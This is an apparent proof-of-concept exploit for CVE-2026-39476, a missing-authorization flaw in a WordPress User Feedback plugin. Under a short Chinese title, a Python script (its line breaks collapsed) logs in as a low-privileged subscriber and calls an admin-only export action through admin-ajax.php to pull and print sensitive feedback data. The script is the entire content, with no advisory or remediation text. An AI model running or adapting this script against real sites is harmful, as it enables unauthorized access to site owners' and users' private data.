CVE-2026-39476 User Feedback插件权限缺失漏洞

#!/usr/bin/env python3 # PoC for CVE-2026-39476: Missing Authorization in User Feedback Plugin # This script demonstrates how a low-privileged user can access admin-only endpoints. import requests TARGET_URL = "http://target-wordpress-site.com" LOGIN_URL = f"{TARGET_URL}/wp-login.php" VULN_ENDPOINT = f"{TARGET_URL}/wp-admin/admin-ajax.php?action=userfeedback_export_data" # Low-privileged user credentials USERNAME = "subscriber" PASSWORD = "password" session = requests.Session() # 1. Authenticate as a low-privileged user login_data = { "log": USERNAME, "pwd": PASSWORD, "redirect_to": "", "wp-submit": "Log In" } print(f"[*] Logging in as {USERNAME}...") response = session.post(LOGIN_URL, data=login_data) if "wp-admin" in response.text or response.status_code == 200: print("[+] Login successful.") # 2. Expit Missing Authorization to access sensitive data print(f"[*] Sending request to vulnerable endpoint: {VULN_ENDPOINT}") exploit_response = session.get(VULN_ENDPOINT) if exploit_response.status_code == 200 and "data" in exploit_response.text: print("[+] Exploit successful! Sensitive data extracted:") print(exploit_response.text[:500]) # Print first 500 chars else: print("[-] Exploit failed or endpoint not vulnerable.") else: print("[-] Login failed.")